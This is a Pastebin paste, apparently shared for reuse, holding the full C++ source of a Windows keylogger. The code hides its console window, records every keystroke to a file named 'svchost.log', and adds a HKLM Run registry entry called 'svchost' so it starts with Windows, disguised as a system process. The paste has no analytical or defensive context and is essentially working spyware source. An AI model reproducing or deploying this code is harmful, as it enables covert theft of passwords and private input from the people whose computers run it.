Advertisement
X6xCyb0r_Gx9X

Keylogger C++

Feb 16th, 2013
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.80 KB | None | 0 0
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <winuser.h>
  4.  
  5. #define BUFSIZE 80
  6.  
  7. int test_key(void);
  8. int create_key(char *);
  9. int get_keys(void);
  10.  
  11.  
  12. int main(void)
  13. {
  14. HWND stealth; /*creating stealth (window is not visible)*/
  15. AllocConsole();
  16. stealth=FindWindowA("ConsoleWindowClass",NULL);
  17. ShowWindow(stealth,0);
  18.  
  19. int test,create;
  20. test=test_key();/*check if key is available for opening*/
  21.  
  22. if (test==2)/*create key*/
  23. {
  24. char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
  25. create=create_key(path);
  26.  
  27. }
  28.  
  29.  
  30. int t=get_keys();
  31.  
  32. return t;
  33. }
  34.  
  35. int get_keys(void)
  36. {
  37. short character;
  38. while(1)
  39. {
  40.  
  41. for(character=8;character<=222;character++)
  42. {
  43. if(GetAsyncKeyState(character)==-32767)
  44. {
  45.  
  46. FILE *file;
  47. file=fopen("svchost.log","a+");
  48. if(file==NULL)
  49. {
  50. return 1;
  51. }
  52. if(file!=NULL)
  53. {
  54. if((character>=39)&&(character<=64))
  55. {
  56. fputc(character,file);
  57. fclose(file);
  58. break;
  59. }
  60. else if((character>64)&&(character<91))
  61. {
  62. character+=32;
  63. fputc(character,file);
  64. fclose(file);
  65. break;
  66. }
  67. else
  68. {
  69. switch(character)
  70. {
  71. case VK_SPACE:
  72. fputc(' ',file);
  73. fclose(file);
  74. break;
  75. case VK_SHIFT:
  76. fputs("[SHIFT]",file);
  77. fclose(file);
  78. break;
  79. case VK_RETURN:
  80. fputs("\n[ENTER]",file);
  81. fclose(file);
  82. break;
  83. case VK_BACK:
  84. fputs("[BACKSPACE]",file);
  85. fclose(file);
  86. break;
  87. case VK_TAB:
  88. fputs("[TAB]",file);
  89. fclose(file);
  90. break;
  91. case VK_CONTROL:
  92. fputs("[CTRL]",file);
  93. fclose(file);
  94. break;
  95. case VK_DELETE:
  96. fputs("[DEL]",file);
  97. fclose(file);
  98. break;
  99. case VK_OEM_1:
  100. fputs("[;:]",file);
  101. fclose(file);
  102. break;
  103. case VK_OEM_2:
  104. fputs("[/?]",file);
  105. fclose(file);
  106. break;
  107. case VK_OEM_3:
  108. fputs("[`~]",file);
  109. fclose(file);
  110. break;
  111. case VK_OEM_4:
  112. fputs("[ [{ ]",file);
  113. fclose(file);
  114. break;
  115. case VK_OEM_5:
  116. fputs("[\\|]",file);
  117. fclose(file);
  118. break;
  119. case VK_OEM_6:
  120. fputs("[ ]} ]",file);
  121. fclose(file);
  122. break;
  123. case VK_OEM_7:
  124. fputs("['\"]",file);
  125. fclose(file);
  126. break;
  127. /*case VK_OEM_PLUS:
  128. fputc('+',file);
  129. fclose(file);
  130. break;
  131. case VK_OEM_COMMA:
  132. fputc(',',file);
  133. fclose(file);
  134. break;
  135. case VK_OEM_MINUS:
  136. fputc('-',file);
  137. fclose(file);
  138. break;
  139. case VK_OEM_PERIOD:
  140. fputc('.',file);
  141. fclose(file);
  142. break;*/
  143. case VK_NUMPAD0:
  144. fputc('0',file);
  145. fclose(file);
  146. break;
  147. case VK_NUMPAD1:
  148. fputc('1',file);
  149. fclose(file);
  150. break;
  151. case VK_NUMPAD2:
  152. fputc('2',file);
  153. fclose(file);
  154. break;
  155. case VK_NUMPAD3:
  156. fputc('3',file);
  157. fclose(file);
  158. break;
  159. case VK_NUMPAD4:
  160. fputc('4',file);
  161. fclose(file);
  162. break;
  163. case VK_NUMPAD5:
  164. fputc('5',file);
  165. fclose(file);
  166. break;
  167. case VK_NUMPAD6:
  168. fputc('6',file);
  169. fclose(file);
  170. break;
  171. case VK_NUMPAD7:
  172. fputc('7',file);
  173. fclose(file);
  174. break;
  175. case VK_NUMPAD8:
  176. fputc('8',file);
  177. fclose(file);
  178. break;
  179. case VK_NUMPAD9:
  180. fputc('9',file);
  181. fclose(file);
  182. break;
  183. case VK_CAPITAL:
  184. fputs("[CAPS LOCK]",file);
  185. fclose(file);
  186. break;
  187. default:
  188. fclose(file);
  189. break;
  190. }
  191. }
  192. }
  193. }
  194. }
  195.  
  196. }
  197. return EXIT_SUCCESS;
  198. }
  199.  
  200. int test_key(void)
  201. {
  202. int check;
  203. HKEY hKey;
  204. char path[BUFSIZE];
  205. DWORD buf_length=BUFSIZE;
  206. int reg_key;
  207.  
  208. reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
  209. if(reg_key!=0)
  210. {
  211. check=1;
  212. return check;
  213. }
  214.  
  215. reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
  216.  
  217. if((reg_key!=0)||(buf_length>BUFSIZE))
  218. check=2;
  219. if(reg_key==0)
  220. check=0;
  221.  
  222. RegCloseKey(hKey);
  223. return check;
  224. }
  225.  
  226. int create_key(char *path)
  227. {
  228. int reg_key,check;
  229.  
  230. HKEY hkey;
  231.  
  232. reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
  233. if(reg_key==0)
  234. {
  235. RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
  236. check=0;
  237. return check;
  238. }
  239. if(reg_key!=0)
  240. check=1;
  241.  
  242. return check;
  243. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement